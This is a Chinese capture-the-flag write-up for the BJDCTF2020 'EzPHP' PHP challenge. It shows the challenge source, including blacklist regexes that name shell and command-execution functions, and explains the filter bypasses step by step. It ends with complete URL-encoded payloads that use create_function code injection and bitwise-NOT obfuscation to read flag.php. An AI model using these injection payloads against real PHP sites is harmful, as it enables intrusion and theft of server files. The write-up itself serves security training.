[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

绕过

$_SERVER[‘QUERY_STRING’]

不会解码，直接编码绕过

file传参，需要满足正则和===

这儿由于限制了http和https，所以我们不能使用vps上的文件，

这儿使用php://input和data://都可以~~

if (preg_match(‘/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)

这儿直接在后面加%0a就可以绕过~~

$_REQUEST这儿需要满足参数的值不能有字母 _

_由于之前接收的参数为${}_{G}ET，而这儿接收的参数为$_REQUEST，所以我们只需要POST一些相同的参数，覆盖掉${}_{G}ET的参数就行了，这是因为$_REQUEST的解析是有一定顺序的，应该是先解析${}_{G}ET，再解析$_POST，这样我们就能绕过这个点~~

sha1($shana)===sha1($passwd) && $shana != $passwd

最简单的，直接数组绕过就行了~~

先给出绕过上面 点的payload：

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

file也url编码bp里面可以

post:debu=1&file=1

create_function () 代码注入

flag[code]=create_function&flag[arg]=;}define(aaa,fopen(~(���Ι�˘я��#取反后的flag.php),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);#

最终payload

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

post: file=1&debu=1

二解 伪协议读取

debu=aqua_is_cute

&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=;}require( );//

%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~());//

 <?php
$a='php://filter/read=convert.base64-encode/resource=flag.php';
echo urlencode(~$a);
?>
php://filter/read=convert.base64-encode/resource=flag.php

最终payload?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%99%93%9E%98%D1%8F%97%8F));//